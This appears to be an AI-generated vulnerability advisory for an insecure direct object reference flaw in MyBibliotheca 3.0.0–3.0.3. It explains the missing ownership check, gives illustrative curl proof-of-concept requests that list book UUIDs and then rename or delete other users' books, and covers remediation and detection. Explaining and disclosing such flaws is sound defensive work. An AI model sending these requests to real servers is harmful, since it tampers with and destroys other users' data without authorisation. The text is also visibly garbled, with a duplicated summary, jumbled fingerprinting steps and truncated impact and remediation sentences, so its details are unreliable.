CVE-2026-135431 — Pickles4evaaaa MyBibliotheca — CWE-639
MyBibliotheca 3.0.0 before 3.0.4 contains an insecure direct object reference vulnerability that allows authenticated users to modify or delete other users' books via /api/v1/books/<book_id>. Attackers can obtain book UUIDs from recently added books across all owners, then send PUT or DELETE requests to rename, alter, or permanently delete them.
MyBibliotheca 3.0.0 before 3.0.4 contains an insecure direct object reference vulnerability that allows authenticated users to modify or delete other users' books via /api/v1/books/<book_id>. Attackers can obtain book UUIDs from recently added books across all owners, then send PUT or DELETE requests to rename, alter, or permanently delete them.
🎯 What is this vulnerability?
This vulnerability is a classic Insecure Direct Object Reference (IDOR), classified under CWE-639. The core technical flaw lies in the application's failure to perform object-level authorization checks.
While the application correctly enforces authentication (requiring a valid session or API key to access the /api/v1/books/ endpoint), it fails to verify that the authenticated user is the owner of the specific resource identified by the book_id parameter.
In a secure design, the backend logic for PUT and DELETE requests to /api/v1/books/<book_id> should follow this pattern:
1. Authenticate the user.
2. Retrieve the book object from the database using book_id.
3. Check: Does book.owner_id == current_user.id?
4. If yes, proceed with modification/deletion.
5. If no, return 403 Forbidden.
In MyBibliotheca 3.0.0–3.0.3, Step 3 is missing or bypassed. The application assumes that because the user is logged in, they have rights to any book ID they provide. This allows any authenticated user to manipulate data belonging to other users by simply guessing or enumerating the book_id (UUID).
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: The attacker identifies the target as running
pickles4evaaaa:MyBibliotheca. This can be done via:
* Checking the - Version Verification: Confirming the version is between 3.0.0 and 3.0.3 (inclusive).
- Authentication: The attacker registers a low-privilege account (e.g., a regular user) to obtain a valid session cookie or API token. This satisfies the
PR:L(Privileges Required: Low) requirement.
Server header or X-Powered-By header.
* Visiting / or /about to see version strings.
* Using tools like whatweb or nmap with NSE scripts.
2. Exploitation
The attacker needs to obtain a validbook_id belonging to another user. The CVE description states: "Attackers can obtain book UUIDs from recently added books across all owners." This implies there is a public or authenticated endpoint (e.g., /api/v1/books/recent or a search endpoint) that returns book metadata, including the id field, without filtering by ownership.Step 2a: Enumerate Book IDs
The attacker queries the endpoint that lists recent books.
# Illustrative example: Assuming a 'recent' endpoint exists that leaks IDs
curl -X GET "https://target.com/api/v1/books/recent" \
-H "Authorization: Bearer <ATTACKER_TOKEN>" \
-H "Content-Type: application/json"Response (Illustrative):
[
{
"id": "550e8400-e29b-41d4-a716-446655440000",
"title": "The Great Gatsby",
"owner": "user_john",
"added_at": "2026-11-22T10:00:00Z"
},
{
"id": "6ba7b810-9dad-11d1-80b4-00c04fd430c8",
"title": "1984",
"owner": "user_jane",
"added_at": "2026-11-22T09:55:00Z"
}
]The attacker extracts 550e8400-e29b-41d4-a716-446655440000 (owned by user_john).
Step 2b: Modify or Delete the Object
The attacker sends a PUT or DELETE request to the specific book ID using their own token.
PoC: Rename a Book (Integrity Impact)
curl -X PUT "https://target.com/api/v1/books/550e8400-e29b-41d4-a716-446655440000" \
-H "Authorization: Bearer <ATTACKER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"title": "HACKED BY ATTACKER",
"description": "Your book has been compromised."
}'PoC: Delete a Book (Availability Impact)
curl -X DELETE "https://target.com/api/v1/books/550e8400-e29b-41d4-a716-446655440000" \
-H "Authorization: Bearer <ATTACKER_TOKEN>"Note: The exact JSON payload fields (title, description) are illustrative based on typical book metadata. The critical element is the book_id in the URL and the valid Authorization header.
3. Post-Exploitation
C:N/I:L/A:L) indicates no Confidentiality impact and no direct path to Remote Code Execution or privilege escalation to admin. The impact is limited to the integrity and availability of the book objects.🌍 Real World Impact
GET endpoint is properly restricted, which is not explicitly stated as vulnerable, but the CVSS C:N suggests no data leakage).🛡️ Remediation & Mitigation
1. Upgrade (Primary Fix)
PUT and DELETE operations on /api/v1/books/<book_id>.2. Workarounds (If Immediate Upgrade is Not Possible)
PUT and DELETE requests to /api/v1/books/ if the book_id in the URL does not match the owner_id associated with the authenticated user. This requires the WAF to have access to the database or a session-to-owner mapping, which is complex. A simpler, less effective workaround is to restrict access to the API endpoints to trusted IP ranges if feasible.book_id belongs to that user at the gateway level (if the gateway has access to the data).book_ids.3. Detection (IoCs)
PUT or DELETE requests to /api/v1/books/<uuid> where the Authorization header token belongs to User A, but the book_id is known to belong to User B.192.168.1.100 - - [23/Nov/2026:10:00:00 +0000] "PUT /api/v1/books/550e8400-e29b-41d4-a716-446655440000 HTTP/1.1" 200 123 "-" "curl/7.68.0"Cross-reference the book_id with the database to see if the owner matches the user associated with the token.
UPDATE or DELETE statements on the books table where the user_id in the session does not match the owner_id in the row being modified.⚠️ Urgency
While the CVSS score is Medium, the vulnerability is easy to exploit (Low Complexity) and requires only low privileges. The impact is on Integrity and Availability, which can be significant for data integrity and user trust. It is not a critical RCE or data breach vulnerability, but it is a clear security flaw that should be patched promptly.
Recommendation:
1. Immediate: Upgrade to MyBibliotheca 3.0.4.
2. Short-term: If upgrade is delayed, restrict access to the /api/v1/books/ endpoints or disable the public book listing feature to prevent ID enumeration.
3. Long-term: Implement robust object-level authorization checks in all API endpoints.
[🤖 CVE Professor AI Security Engine]
FOFA Query